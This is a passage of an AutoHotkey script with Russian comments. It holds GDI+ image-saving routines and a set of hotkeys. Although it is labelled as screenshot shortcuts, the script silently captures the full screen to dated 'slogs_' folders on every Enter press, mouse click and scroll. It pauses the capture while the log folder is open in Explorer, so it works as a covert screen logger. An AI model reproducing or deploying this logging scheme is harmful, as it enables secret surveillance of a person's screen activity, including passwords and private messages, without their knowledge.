         if !InStr(sString, "*" Extension)
            continue
      }
      else
      {
         nSize := DllCall("WideCharToMultiByte", UInt, 0, UInt, 0
            , UInt, Location, Int, -1, UInt, 0, Int,  0, UInt, 0, UInt, 0)
         sString := ""
         Loop, %nSize%
            sString .= Chr(NumGet(Location+0, 2*(A_Index-1), "char"))
         if !InStr(sString, "*" Extension)
            continue
      }
      pCodec := &ci+76*(A_Index-1)
      break
   }
   if !pCodec
      return -3

   if (Quality != 75)
   {
      Quality := (Quality < 0) ? 0 : (Quality > 100) ? 100 : Quality
      if Extension in .JPG,.JPEG,.JPE,.JFIF
      {
         DllCall("gdiplus\GdipGetEncoderParameterListSize"
            , UInt, pBitmap, UInt, pCodec, "uint*", nSize)
         VarSetCapacity(EncoderParameters, nSize, 0)
         DllCall("gdiplus\GdipGetEncoderParameterList", UInt, pBitmap
            , UInt, pCodec, UInt, nSize, UInt, &EncoderParameters)
         Loop, % NumGet(EncoderParameters)      ;%
         {
            if (NumGet(EncoderParameters, (28*(A_Index-1))+20) = 1)
               && (NumGet(EncoderParameters, (28*(A_Index-1))+24) = 6)
            {
               p := (28*(A_Index-1))+&EncoderParameters
               NumPut(Quality, NumGet(NumPut(4, NumPut(1, p+0)+20)))
               break
            }
         }
      }
   }

   if !A_IsUnicode
   {
      nSize := DllCall("MultiByteToWideChar"
         , UInt, 0, UInt, 0, UInt, &sOutput, Int, -1, UInt, 0, Int, 0)
      VarSetCapacity(wOutput, nSize*2)
      DllCall("MultiByteToWideChar"
         , UInt, 0, UInt, 0, UInt, &sOutput, Int, -1, UInt, &wOutput, Int, nSize)
      VarSetCapacity(wOutput, -1)
      if !VarSetCapacity(wOutput)
         return -4
      E := DllCall("gdiplus\GdipSaveImageToFile"
         , UInt, pBitmap, UInt, &wOutput, UInt, pCodec, UInt, p ? p : 0)
   }
   else
      E := DllCall("gdiplus\GdipSaveImageToFile"
         , UInt, pBitmap, UInt, &sOutput, UInt, pCodec, UInt, p ? p : 0)
   return E ? -5 : 0
}

GdipStart()
{
   if !DllCall("GetModuleHandle", Str, "gdiplus")
      DllCall("LoadLibrary", Str, "gdiplus")
   VarSetCapacity(si, 16, 0), si := Chr(1)
   DllCall("gdiplus\GdiplusStartup", "uint*", pToken, UInt, &si, UInt, 0)
   return pToken
}

GdipShutdown(pToken)
{
   DllCall("gdiplus\GdiplusShutdown", UInt, pToken)
   if hModule := DllCall("GetModuleHandle", Str, "gdiplus")
      DllCall("FreeLibrary", UInt, hModule)
   return 0
}



#IfWinNotExist, slogs_ ahk_class CabinetWClass
~sc1c up::    ;Enter
~sc11c up::   ;Num Enter
~WheelUp::
~WheelDown::
~RButton up::
~LButton up::
PrintScreen::      ; Скриншот всего экрана
   SetTimer, chikchik, 10   ; ОБЯЗАТЕЛЬНЫЙ ИНТЕРВАЛ (стоит минимальный)
   Return


chikchik:
   SetTimer, chikchik, Off
   Critical
   OutFolderName := "slogs_" A_Year  A_MM  A_DD
   OutFileName := A_Year  A_MM  A_DD "-" A_Hour A_Min A_Sec (HighSpeed ? "-" A_MSec : "")
   IfNotExist, %OutDirectory%\%OutFolderName%
      FileCreateDir, %OutDirectory%\%OutFolderName%
   if Output = File
      CaptureScreen(0, OutDirectory "\" OutFolderName "\" OutFileName "." ext, Quality, CaptureCursor)
   Else
      CaptureScreen(0, 0, Quality, CaptureCursor)
   Return



+PrintScreen::    ; Shift + PrintScreen — Скриншот активного окна
   Critical
   OutFileName := A_Year  A_MM  A_DD "-" A_Hour A_Min A_Sec (HighSpeed ? "-" A_MSec : "")
   WinGetPos, X, Y, W, H, A
   Rect := X "|" Y "|" W "|" H
   if Output = File
      CaptureScreen(Rect, OutDirectory "\" OutFileName "." ext, Quality, CaptureCursor)
   Else
      CaptureScreen(Rect, 0, Quality, CaptureCursor)
   Return